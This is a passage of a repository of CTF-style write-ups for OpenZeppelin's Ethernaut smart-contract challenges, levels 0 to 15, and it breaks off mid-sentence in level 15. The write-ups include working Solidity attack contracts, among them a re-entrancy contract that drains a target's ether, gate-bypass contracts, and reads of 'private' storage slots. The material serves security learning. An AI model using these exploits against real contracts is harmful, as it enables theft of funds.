├── README.md ├── level_0_Hello-Ethernaut.md ├── level_10_Re-entrancy.md ├── level_11_Building.md ├── level_12_Privacy.md ├── level_13_Gatekeeper-One.md ├── level_14_Gatekeeper-Two.md ├── level_15_Naught-Coin.md ├── level_16_Preservation.md ├── level_17_Recovery.md ├── level_18_Magic-Number.md ├── level_19_Alien-Codex.md ├── level_1_Fallback.md ├── level_20_Denial.md ├── level_21_Shop.md ├── level_22_Dex.md ├── level_23_Dex-Two.md ├── level_24_Puzzle-Wallet.md ├── level_25_Motorbike.md ├── level_26_Double-Entry-Point.md ├── level_2_Fallout.md ├── level_3_Coin-Flip.md ├── level_4_Telephone.md ├── level_5_Token.md ├── level_6_Delegation.md ├── level_7_Force.md ├── level_8_Vault.md └── level_9_King.md /README.md: -------------------------------------------------------------------------------- 1 | # Openzeppelin Ethernaut Hacks 2 | Hacks to Openzeppelin's [Ethernaut](https://ethernaut.openzeppelin.com/) smart contract challenges. 3 | 4 | Posts available on [DEV](https://dev.to/thenvn/series/16194) 5 | 6 | Find me on twitter [here](https://twitter.com/the_nvn) 🙏 7 | -------------------------------------------------------------------------------- /level_0_Hello-Ethernaut.md: -------------------------------------------------------------------------------- 1 | # Level 0: Hello Ethernaut 2 | 3 | This is the level 0 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - Basics of [web3js](https://web3js.readthedocs.io/en/v1.5.2/getting-started.html) 7 | 8 | ## Hack 9 | I assume you've read instructions of the level 0 and acquired test ether. The level contract methods are injected right into our browser console, so we can start calling methods. 10 | 11 | Let's start. 12 | The instructions asks to call this method in console: 13 | 14 | ```javascript 15 | await contract.info() 16 | 17 | // Output: 'You will find what you need in info1().' 18 | ``` 19 | 20 | We follow the output and call: 21 | ```javascript 22 | await contract.info1() 23 | 24 | // Output: 'Try info2(), but with "hello" as a parameter.' 25 | ``` 26 | 27 | Following... 28 | ```javascript 29 | await contract.info2("hello") 30 | 31 | // Output: 'The property infoNum holds the number of the next info method to call.' 32 | ``` 33 | 34 | To get `infoNum` we call it's public getter: 35 | ```javascript 36 | await contract.infoNum().then(v => v.toString()) 37 | 38 | // Output: 42 39 | ``` 40 | Note that `infoNum()` returns a BigNumber object so we convert it to string to see actual number. 41 | 42 | Proceeding with `info42`: 43 | ```javascript 44 | await contract.info42() 45 | 46 | // Output: 'theMethodName is the name of the next method.' 47 | ``` 48 | 49 | Again, following output: 50 | ```javascript 51 | await contract.theMethodName() 52 | 53 | // Output: 'The method name is method7123949.' 54 | ``` 55 | 56 | And so: 57 | ```javascript 58 | await contract.method7123949() 59 | 60 | // Output: 'If you know the password, submit it to authenticate().' 61 | ``` 62 | 63 | Ok...but what's the password? Let's inspect the contracts ABI: 64 | ```javascript 65 | contract 66 | 67 | // Output: { abi: ..., address: ..., ...., password: f () } 68 | ``` 69 | 70 | Upon inspecting we see there's a `password` method for contract. Let's call it: 71 | 72 | ```javascript 73 | await contract.password() 74 | 75 | // Output: 'ethernaut0` 76 | ``` 77 | 78 | We got the password. Finally: 79 | ```javascript 80 | await contract.authenticate('ethernaut0') 81 | ``` 82 | and confirm the transaction on metamask. Submit instance. 83 | 84 | Level completed! 85 | 86 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 87 | 88 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 89 | 90 | -------------------------------------------------------------------------------- /level_10_Re-entrancy.md: -------------------------------------------------------------------------------- 1 | # Level 10: Re-entrancy 2 | 3 | This is the level 10 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - Solidity contract [receive](https://ethereum.stackexchange.com/questions/81994/what-is-the-receive-keyword-in-solidity/81995) function 7 | - [call](https://docs.soliditylang.org/en/v0.6.0/types.html#address) method of addresses 8 | - [Re-entrancy Attack](https://consensys.github.io/smart-contract-best-practices/known_attacks/) on Ethereum 9 | 10 | ## Hack 11 | 12 | Given contract: 13 | 14 | ```solidity 15 | // SPDX-License-Identifier: MIT 16 | pragma solidity ^0.6.0; 17 | 18 | import '@openzeppelin/contracts/math/SafeMath.sol'; 19 | 20 | contract Reentrance { 21 | 22 | using SafeMath for uint256; 23 | mapping(address => uint) public balances; 24 | 25 | function donate(address _to) public payable { 26 | balances[_to] = balances[_to].add(msg.value); 27 | } 28 | 29 | function balanceOf(address _who) public view returns (uint balance) { 30 | return balances[_who]; 31 | } 32 | 33 | function withdraw(uint _amount) public { 34 | if(balances[msg.sender] >= _amount) { 35 | (bool result,) = msg.sender.call{value:_amount}(""); 36 | if(result) { 37 | _amount; 38 | } 39 | balances[msg.sender] -= _amount; 40 | } 41 | } 42 | 43 | receive() external payable {} 44 | } 45 | ``` 46 | 47 | `player` has to steal all of the contract's funds. 48 | 49 | To those interested, the Re-entrancy attack was responsible for the [infamous DAO hack of 2016](https://www.gemini.com/cryptopedia/the-dao-hack-makerdao#section-what-is-a-dao) which shook the whole Ethereum community. $60 million dollars of funds were stolen. Later, Ethereum blockchain was hard forked to restore stolen funds, but not all parties consented to decision. That led to splitting of network into distinct chains - Ethereum and Ethereum Classic. 50 | 51 | First let's see amount stored in `Reentrace`: 52 | ```javascript 53 | await getBalance(contract.address) 54 | 55 | // Output: '0.001' 56 | ``` 57 | 58 | which is `0.001` ether or `1000000000000000` wei. 59 | 60 | We're going to attack `Reentrance` with our written contract `ReentranceAttack`. Deploy it with target contract (`Reentrance`) address: 61 | 62 | ```solidity 63 | // SPDX-License-Identifier: MIT 64 | pragma solidity ^0.6.0; 65 | 66 | interface IReentrance { 67 | function donate(address _to) external payable; 68 | function withdraw(uint _amount) external; 69 | } 70 | 71 | contract ReentranceAttack { 72 | address public owner; 73 | IReentrance targetContract; 74 | uint targetValue = 1000000000000000; 75 | 76 | constructor(address _targetAddr) public { 77 | targetContract = IReentrance(_targetAddr); 78 | owner = msg.sender; 79 | } 80 | 81 | function balance() public view returns (uint) { 82 | return address(this).balance; 83 | } 84 | 85 | function donateAndWithdraw() public payable { 86 | require(msg.value >= targetValue); 87 | targetContract.donate.value(msg.value)(address(this)); 88 | targetContract.withdraw(msg.value); 89 | } 90 | 91 | function withdrawAll() public returns (bool) { 92 | require(msg.sender == owner, "my money!!"); 93 | uint totalBalance = address(this).balance; 94 | (bool sent, ) = msg.sender.call.value(totalBalance)(""); 95 | require(sent, "Failed to send Ether"); 96 | return sent; 97 | } 98 | 99 | receive() external payable { 100 | uint targetBalance = address(targetContract).balance; 101 | if (targetBalance >= targetValue) { 102 | targetContract.withdraw(targetValue); 103 | } 104 | } 105 | } 106 | ``` 107 | 108 | Now call `donateAndWithdraw` of `ReentranceAttack` with value of `1000000000000000` (`0.001` ether) and chain reaction starts: 109 | - First `targetContract.donate.value(msg.value)(address(this))` causes the `balances[msg.sender]` of `Reentrance` to set to sent amount. `donate` of `Reentrance` finishes it's execution 110 | - Immediately after, `targetContract.withdraw(msg.value)` invokes withdraw of `Reentrance`, which sends the same donated amount back to `ReentranceAttack`. 111 | - `receive` of `ReentranceAttack` is invoked. Note that `withdraw` hasn't finished execution yet! So still `balances[msg.sender]` is equal to initially donated amount. Now we call `withdraw` of `ReentranceAttack` again in receive. 112 | - Second invocation of `withdraw` executes and it's passes the `require` statement this time again! So, it sends the `msg.sender` (`ReentranceAttack` address) that amount again! 113 | - Simple arithmetic plays out and recursive execution is halted only when balance of `Reentrance` is reduced to 0. 114 | 115 | And for the final blow withdraw stolen amount currently stored in `ReentranceAttack` to `player` address by calling `withdrawAll`. 116 | 117 | Verify by checking `Reentrance`'s balance: 118 | ```javascript 119 | await getBalance(contract.address) 120 | 121 | // Output: '0' 122 | ``` 123 | 124 | Hacked! 125 | 126 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 127 | 128 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 129 | 130 | -------------------------------------------------------------------------------- /level_11_Building.md: -------------------------------------------------------------------------------- 1 | # Level 11: Building 2 | 3 | This is the level 11 of [Ethernaut](https://ethernaut.openzeppelin.com/) game. 4 | 5 | ## Pre-requisites 6 | - Solidity [interfaces](https://docs.soliditylang.org/en/v0.8.10/contracts.html#interfaces) 7 | 8 | ## Hack 9 | 10 | Given contract: 11 | 12 | ```solidity 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.6.0; 15 | 16 | interface Building { 17 | function isLastFloor(uint) external returns (bool); 18 | } 19 | 20 | 21 | contract Elevator { 22 | bool public top; 23 | uint public floor; 24 | 25 | function goTo(uint _floor) public { 26 | Building building = Building(msg.sender); 27 | 28 | if (! building.isLastFloor(_floor)) { 29 | floor = _floor; 30 | top = building.isLastFloor(floor); 31 | } 32 | } 33 | } 34 | ``` 35 | 36 | `player` has to set `top` to `true` i.e. have to reach top of the building. 37 | 38 | But `Elevator` won't let you.... if you comply by the `Building` so religiously. So let's not get so disciplined ;) 39 | 40 | Alright so, `goTo` calls the contract at `msg.sender` address that implements `Building` interface to determined if `_floor` is last floor. 41 | 42 | Okay, then we'll create a contract `MyBuilding` that inherits `Building` and therefore implements `isLastFloor`: 43 | 44 | ```solidity 45 | // SPDX-License-Identifier: MIT 46 | pragma solidity ^0.6.0; 47 | 48 | interface Building { 49 | function isLastFloor(uint) external returns (bool); 50 | } 51 | 52 | interface IElevator { 53 | function goTo(uint _floor) external; 54 | } 55 | 56 | contract MyBuilding is Building { 57 | bool public last = true; 58 | 59 | function isLastFloor(uint _n) override external returns (bool) { 60 | last = !last; 61 | return last; 62 | } 63 | 64 | function goToTop(address _elevatorAddr) public { 65 | IElevator(_elevatorAddr).goTo(1); 66 | } 67 | } 68 | ``` 69 | 70 | But...although we did implement `isLastFloor` we won't use `_floor` param anywhere to determine if it's last floor. We are not obliged to anyway ;) 71 | 72 | We just alternate between returning `true` and `false`, so that 1st call will return `false` and 2nd call returns `true` and so on. 73 | 74 | Simply call `goToTop` of `MyBuilding`, with `contract.address` of instance. That'll trigger `Elevator` to call `isLastFloor` of our contract - `MyBuilding`. And since second call sets `top` variable, it is set to `true`. 75 | 76 | Verify in console: 77 | ```javascript 78 | await contract.top() 79 | 80 | // Output: true 81 | ``` 82 | 83 | Started from the bottom now we here (`top`) ! 84 | 85 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 86 | 87 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 88 | 89 | -------------------------------------------------------------------------------- /level_12_Privacy.md: -------------------------------------------------------------------------------- 1 | # Level 12: Privacy 2 | 3 | This is the level 12 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [Fixed size byte arrays](https://docs.soliditylang.org/en/v0.8.7/types.html#fixed-size-byte-arrays) 7 | - [Layout of State Variables](https://docs.soliditylang.org/en/v0.8.7/internals/layout_in_storage.html#) in a Solidity contract 8 | - [Reading storage](https://web3js.readthedocs.io/en/v1.5.2/web3-eth.html#getstorageat) at a slot 9 | 10 | ## Hack 11 | Given contract: 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | contract Privacy { 18 | 19 | bool public locked = true; 20 | uint256 public ID = block.timestamp; 21 | uint8 private flattening = 10; 22 | uint8 private denomination = 255; 23 | uint16 private awkwardness = uint16(now); 24 | bytes32[3] private data; 25 | 26 | constructor(bytes32[3] memory _data) public { 27 | data = _data; 28 | } 29 | 30 | function unlock(bytes16 _key) public { 31 | require(_key == bytes16(data[2])); 32 | locked = false; 33 | } 34 | 35 | /* 36 | A bunch of super advanced solidity algorithms... 37 | 38 | ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^` 39 | .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*., 40 | *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\ 41 | `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o) 42 | ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU 43 | */ 44 | } 45 | ``` 46 | 47 | `player` has to set `locked` state variable to `false`. 48 | 49 | This is similar to level 8: Vault where any state variable (irrespective of whether it is `private`) can be read given it's slot number. 50 | 51 | `unlock` uses the third entry (index 2) of `data` which is a `bytes32` array. Let's determined `data`'s third entry's slot number (each slot can accommodate at most 32 bytes) according to storage rules: 52 | 53 | - `locked` is 1 byte `bool` in slot 0 54 | - `ID` is a 32 byte `uint256`. It is 1 byte extra big to be inserted in slot 0. So it goes in & totally fills slot 1 55 | - `flattening` - a 1 byte `uint8`, `denomination` - a 1 byte `uint8` and `awkwardness` - a 2 byte `uint16` totals 4 bytes. So, all three of these go into slot 2 56 | - Array data always start a new slot, so `data` starts from slot 3. Since it is `bytes32` array each value takes 32 bytes. Hence value at index 0 is stored in slot 3, index 1 is stored in slot 4 and index 2 value goes into slot 5 57 | 58 | Alright so key is in slot 5 (index 2 / third entry). Read it. 59 | 60 | ```javascript 61 | key = await web3.eth.getStorageAt(contract.address, 5) 62 | 63 | // Output: '0x5dd89f7b81030395311dd63330c747fe293140d92dbe7eee1df2a8c233ef8d6d' 64 | ``` 65 | 66 | This `key` is 32 byte. But `require` check in `unlock` converts the `data[2]` 32 byte value to a `byte16` before matching. 67 | 68 | `byte16(data[2])` will truncate the last 16 bytes of `data[2]` and return only the first 16 bytes. 69 | 70 | Accordingly convert `key` to a 16 byte hex (with prefix - `0x`): 71 | ```javascript 72 | key = key.slice(0, 34) 73 | 74 | // Output: 0x5dd89f7b81030395311dd63330c747fe 75 | ``` 76 | 77 | Call `unlock` with `key`: 78 | 79 | ```javascript 80 | await contract.unlock(key) 81 | ``` 82 | 83 | Unlocked! Verify by: 84 | ```javascript 85 | await contract.locked() 86 | 87 | // Output: false 88 | ``` 89 | 90 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 91 | 92 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 93 | 94 | -------------------------------------------------------------------------------- /level_13_Gatekeeper-One.md: -------------------------------------------------------------------------------- 1 | # Level 13: Gatekeeper One 2 | 3 | This is the level 13 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin) 7 | - [gasleft](https://docs.soliditylang.org/en/v0.8.3/units-and-global-variables.html#block-and-transaction-properties) function 8 | - Solidity [opcode](https://medium.com/@blockchain101/solidity-bytecode-and-opcode-basics-672e9b1a88c2) basics 9 | - [Explicit Conversion](https://docs.soliditylang.org/en/v0.8.3/types.html#explicit-conversions) between types 10 | 11 | ## Hack 12 | Given contract: 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.6.0; 16 | 17 | import '@openzeppelin/contracts/math/SafeMath.sol'; 18 | 19 | contract GatekeeperOne { 20 | 21 | using SafeMath for uint256; 22 | address public entrant; 23 | 24 | modifier gateOne() { 25 | require(msg.sender != tx.origin); 26 | _; 27 | } 28 | 29 | modifier gateTwo() { 30 | require(gasleft().mod(8191) == 0); 31 | _; 32 | } 33 | 34 | modifier gateThree(bytes8 _gateKey) { 35 | require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); 36 | require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); 37 | require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); 38 | _; 39 | } 40 | 41 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 42 | entrant = tx.origin; 43 | return true; 44 | } 45 | } 46 | ``` 47 | 48 | `player` has to pass all `require` checks and set `entrant` to `player` address. 49 | 50 | We start with following `GatePassOne` to attack: 51 | ```solidity 52 | // SPDX-License-Identifier: MIT 53 | pragma solidity ^0.6.0; 54 | 55 | contract GatePassOne { 56 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) { 57 | bytes8 gateKey = bytes8(tx.origin); 58 | (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey)); 59 | return success; 60 | } 61 | } 62 | ``` 63 | 64 | ### gateOne 65 | This is exactly same as level 4. A basic intermediary contract will be used to call `enter`, so that `msg.sender` != `tx.origin`. 66 | 67 | ### gateTwo 68 | According to this one, the remaining gas just after `gasleft` is called, should be a multiple of 8191. We can control the gas amount sent with transaction using `call`. But it need to be set in such a way that amount set minus amount used up until `gasleft`'s return should be a multiple of 8191. 69 | 70 | I'm going to use Remix's Debug feature and a little bit of trial & error to determine the remaining gas up until to that point. But first copy & deploy `GatekeeperOne` in Remix with `JavaScript VM` environment (since trials are quick & Debug on testnet didn't work on Remix for me!), with same solidity compiler version. Also deploy `GateKeeperOneGasEstimate` with same environment, to help with estimating gas used up to that point: 71 | 72 | ```solidity 73 | // SPDX-License-Identifier: MIT 74 | pragma solidity ^0.6.0; 75 | 76 | contract GateKeeperOneGasEstimate { 77 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) { 78 | bytes8 gateKey = bytes8(uint64(tx.origin)); 79 | (bool success, ) = address(_gateAddr).call.gas(_gas)(abi.encodeWithSignature("enter(bytes8)", gateKey)); 80 | return success; 81 | } 82 | } 83 | ``` 84 | 85 | Initially choose a random fixed gas amount (but big enough) to send with transaction. Let's say `90000`. And call `enterGate` of `GateKeeperOneGasEstimate` with address of our deployed `GatekeeperOne` (from Remix, not Ethernaut's!) and the chosen gas. Now hit `Debug` button in Remix console against the mined transaction. Focus on left pane. 86 | 87 | See the list of opcodes executed corresponding to our contract execution. Step over (or drag progress bar) until the line with `gasleft` is highlighted: 88 | ``` 89 | 289 JUMPDEST 90 | 290 PUSH1 .. 91 | 292 PUSH2 .. 92 | 295 GAS 93 | 296 PUSH2 94 | . 95 | . 96 | . 97 | 139 RETURN 98 | ``` 99 | Step here and there to locate the `GAS` opcode which corresponds to `gasleft` call. Proceed just one step more (to `PUSH2` here) and note the "remaining gas" from **Step Detail** just below. In my case it's `89746`. Hence gas used up to that point: 100 | 101 | ``` 102 | gasUsed = _gas - remaining_gas 103 | or, gasUsed = 90000 - 89746 104 | or, gasUsed = 254 105 | ``` 106 | 107 | Now, we have `gasUsed` and we want set a `_gas` such that `gasLeft` returns a multiple of 8191. One such value would be: 108 | 109 | ``` 110 | _gas = (8191 * 8) + gasUsed 111 | or, _gas = (8191 * 8) + 254 112 | or, _gas = 65782 113 | ``` 114 | (Note that I randomly chose `8` to multiply to 8191, you can choose any as log as sufficient gas is provided for transaction) 115 | 116 | So `_gas` should probably be `65782` to pass the check. But, the target `GateKeeperOne` contract (Ethernaut's instance) on Rinkeby network must've had a little bit of different compile time options. So correct `_gas` is not necessarily `65782`, but a close one. Let's pick a reasonable margin around `65782` and call `enter` for all values around `65782` with that margin. A margin of `64` worked for me. Let's update `GatePassOne`: 117 | 118 | ```solidity 119 | contract GatePassOne { 120 | event Entered(bool success); 121 | 122 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) { 123 | bytes8 key = bytes8(uint64(tx.origin)); 124 | 125 | bool succeeded = false; 126 | 127 | for (uint i = _gas - 64; i < _gas + 64; i++) { 128 | (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key)); 129 | if (success) { 130 | succeeded = success; 131 | break; 132 | } 133 | } 134 | 135 | emit Entered(succeeded); 136 | 137 | return succeeded; 138 | } 139 | } 140 | ``` 141 | 142 | Calling `enterGate` with `GateKeeper` address and `65782`, params should now clear `gateTwo`. 143 | 144 | ### gateThree 145 | 146 | This has checks that involves explicit conversions between `uint`s. It can be inferred from third `require` statement that the `_gateKey` should be extracted from `tx.origin` through casting while satisfying other checks. 147 | 148 | `tx.origin` will be the `player` which in my case is: 149 | ``` 150 | 0xd557a44ed144bf8a3da34ba058708d1b4bc0686a 151 | ``` 152 | We should be concerned with only 8 bytes of it since `_gateKey` is `bytes8` (8 byte size) type. And specifically last 8 bytes of it, since `uint` conversions retain the last bytes. 153 | 154 | So, 8 bytes portion (say, `key`) of our interest: 155 | ``` 156 | key = 58 70 8d 1b 4b c0 68 6a 157 | ``` 158 | 159 | Accordingly, `uint32(uint64(key)) = 4b c0 68 6a`. 160 | 161 | To satisfy third `require`, it is needed that: 162 | ``` 163 | uint32(uint64(key)) == uint16(tx.origin) 164 | or, `4b c0 68 6a = 68 6a 165 | ``` 166 | which is only possible by masking with `00 00 ff ff` , such that:
167 | ``` 168 | 4b c0 68 6a & 00 00 ff ff = 68 6a 169 | ``` 170 | 171 | So, `mask = 00 00 ff ff` 172 | 173 | The first `require` is satisfied by: 174 | ``` 175 | uint32(uint64(_gateKey)) == uint16(uint64(key) 176 | or, 4b c0 68 6a = 68 6a 177 | ``` 178 | which is same problem as previous one and can be achieved with same, previous value of `mask`. 179 | 180 | The second `require` asks to satisfy: 181 | ``` 182 | uint32(uint64(key)) != uint64(key) 183 | or, 4b c0 68 6a != 58 70 8d 1b 4b c0 68 6a 184 | ``` 185 | 186 | We modify the mask to: 187 | ``` 188 | mask = ff ff ff ff 00 00 ff ff 189 | ``` 190 | so that it satisfies: 191 | ``` 192 | 00 00 00 00 4b c0 68 6a & ff ff ff ff 00 00 ff ff != 58 70 8d 1b 4b c0 68 6a 193 | ``` 194 | while also satisfying other two `require`s. 195 | 196 | Hence the `_gateKey` should be: 197 | ``` 198 | _gateKey = key & mask 199 | or, _gateKey = 58 70 8d 1b 4b c0 68 6a & ff ff ff ff 00 00 ff ff 200 | ``` 201 | Finally, update `GatePassOne` to reflect it. 202 | 203 | ```solidity 204 | contract GatePassOne { 205 | event Entered(bool success); 206 | 207 | function enterGate(address _gateAddr, uint256 _gas) public returns (bool) { 208 | bytes8 key = bytes8(uint64(tx.origin)) & 0xffffffff0000ffff; 209 | 210 | bool succeeded = false; 211 | 212 | for (uint i = _gas - 64; i < _gas + 64; i++) { 213 | (bool success, ) = address(_gateAddr).call.gas(i)(abi.encodeWithSignature("enter(bytes8)", key)); 214 | if (success) { 215 | succeeded = success; 216 | break; 217 | } 218 | } 219 | 220 | emit Entered(succeeded); 221 | 222 | return succeeded; 223 | } 224 | } 225 | ``` 226 | 227 | That was quite a level. But victory! 228 | 229 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 230 | 231 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 232 | 233 | -------------------------------------------------------------------------------- /level_14_Gatekeeper-Two.md: -------------------------------------------------------------------------------- 1 | # Level 14: Gatekeeper Two 2 | 3 | This is the level 14 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [Difference between `tx.origin` and `msg.sender`](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin) 7 | - [Solidity Assembly](https://docs.soliditylang.org/en/v0.4.23/assembly.html) & [caller & extcodesize](https://docs.soliditylang.org/en/v0.4.23/assembly.html#opcodes) opcodes. 8 | 9 | ## Hack 10 | Given contract: 11 | 12 | ``` 13 | contract GatekeeperTwo { 14 | 15 | address public entrant; 16 | 17 | modifier gateOne() { 18 | require(msg.sender != tx.origin); 19 | _; 20 | } 21 | 22 | modifier gateTwo() { 23 | uint x; 24 | assembly { x := extcodesize(caller()) } 25 | require(x == 0); 26 | _; 27 | } 28 | 29 | modifier gateThree(bytes8 _gateKey) { 30 | require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); 31 | _; 32 | } 33 | 34 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 35 | entrant = tx.origin; 36 | return true; 37 | } 38 | } 39 | ``` 40 | 41 | `player` has to set itself as `entrant`, like the previous level. 42 | 43 | We are going to implement `GatePassTwo` contract to attack: 44 | ``` 45 | // SPDX-License-Identifier: MIT 46 | pragma solidity ^0.6.0; 47 | 48 | contract GatePassTwo { 49 | ... 50 | } 51 | ``` 52 | 53 | ### gateOne 54 | This is exactly same as level 4. An intermediary contract (`GatePassTwo` here) will be used to call `enter`, so that `msg.sender` != `tx.origin`. 55 | 56 | ### gateTwo 57 | Second check involves solidity assembly code - specifically `caller` and `extcodesize` functions. `caller()` is nothing but sender of message i.e. `msg.sender` which will be address of `GatePassTwo`. 58 | `extcodesize(addr)` returns the size of contract at address `addr`. So, `x` is assigned the size of the contract at `msg.sender` address. But size of a contract is always going to be non-zero. And to pass check, `x` must zero! 59 | 60 | Here's the trick. See the footer note of Ethereum [Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf) on page 11:
61 | _"During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account..."_ 62 | 63 | Rings some bells? During creation/initialization of the contract the `extcodesize()` returns 0. So we're going to put the malicious code in `constructor` itself. Since it is the `constructor` that runs during initialization, any calls to `extcodesize()` will return 0. Update `GatePassTwo` accordingly (ignore `key` for now): 64 | 65 | ``` 66 | // SPDX-License-Identifier: MIT 67 | pragma solidity ^0.6.0; 68 | 69 | contract GatePassTwo { 70 | constructor(address _gateAddr) public { 71 | bytes8 key = bytes8(uint64(address(this))); 72 | address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key)); 73 | } 74 | ``` 75 | This will pass `gateTwo`. 76 | 77 | ### gateThree 78 | Third check is basically some manipulation with `^` XOR operator. 79 | 80 | As is visible from the equality check: 81 | ``` 82 | uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1 83 | ``` 84 | 85 | `_gateKey` must be derived from `msg.sender` (in `GatekeeperTwo`), which is same as `address(this)` in our `GatePassTwo`. 86 | 87 | The `uint64(0) - 1` on RHS is max value of `uint64` integer (due to underflow). Hence, in hex representation: 88 | ``` 89 | uint64(0) - 1 = 0xffffffffffffffff 90 | ``` 91 | 92 | By nature of XOR operation: 93 | ``` 94 | If, X ^ Y = Z 95 | Then, Y = X ^ Z 96 | ``` 97 | 98 | Using this XOR property, it can be deduced that: 99 | ``` 100 | uint64(_gateKey) == uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff) 101 | ``` 102 | 103 | So, correct `key` can be calculated in solidity as: 104 | ```solidity 105 | bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)) 106 | ``` 107 | 108 | Final update to `GatePassTwo`: 109 | 110 | ```solidity 111 | // SPDX-License-Identifier: MIT 112 | pragma solidity ^0.6.0; 113 | 114 | contract GatePassTwo { 115 | constructor(address _gateAddr) public { 116 | bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)); 117 | address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key)); 118 | } 119 | } 120 | ``` 121 | 122 | Now deploy `GatePassTwo` with address of `GatekeeperTwo`, which will result in execution of malicious `constructor` code. And that will eventually register `player` as `entrant`. 123 | 124 | Passed! 125 | 126 | 127 | _Learned something awesome? Consider starring the [github repo](https://github.com/theNvN/ethernaut-openzeppelin-hacks)_ 😄 128 | 129 | _and following me on twitter [here](https://twitter.com/the_nvn)_ 🙏 130 | 131 | -------------------------------------------------------------------------------- /level_15_Naught-Coin.md: -------------------------------------------------------------------------------- 1 | # Level 15: Naught Coin 2 | 3 | This is the level 15 of OpenZeppelin [Ethernaut](https://ethernaut.openzeppelin.com/) web3/solidity based game. 4 | 5 | ## Pre-requisites 6 | - [ERC20](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md) spec 7 | - OpenZeppelin's [ERC20](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol) token codebase 8 | 9 | ## Hack 10 | Given contract: 11 | ``` 12 | // SPDX-License-Identifier: MIT 13 | pragma solidity ^0.6.0; 14 | 15 | import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; 16 | 17 | contract NaughtCoin is ERC20 { 18 | 19 | // string public constant name = 'NaughtCoin'; 20 | // string public constant symbol = '0x0'; 21 | // uint public constant decimals = 18; 22 | uint public timeLock = now + 10 * 365 days; 23 | uint256 public INITIAL_SUPPLY; 24 | address public player; 25 | 26 | constructor(address _player) 27 | ERC20('NaughtCoin', '0x0') 28 | public { 29 | player = _player; 30 | INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); 31 | // _totalSupply = INITIAL_SUPPLY; 32 | // _balances[player] = INITIAL_SUPPLY; 33 | _mint(player, INITIAL_SUPPLY); 34 | emit Transfer(address(0), player, INITIAL_SUPPLY); 35 | } 36 | 37 | function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { 38 | super.transfer(_to, _value); 39 | } 40 | 41 | // Prevent the initial owner from transferring tokens until the timelock has passed 42 | modifier lockTokens() { 43 | if (msg.sender == player) { 44 | require(now > timeLock); 45 | _; 46 | } else { 47 | _; 48 | } 49 | } 50 | } 51 | ``` 52 | 53 | `player` is given `totalSupply` of a ERC20 Token - Naught Coin, but cannot transact them before 10 year lockout period. `player` has to get its token balance to 0. 54 | 55 | 56 | The trick here is that `transfer` is not the only method in `ERC20`(and hence, in `NaughtCoin` too) that includes code for transfer of tokens between 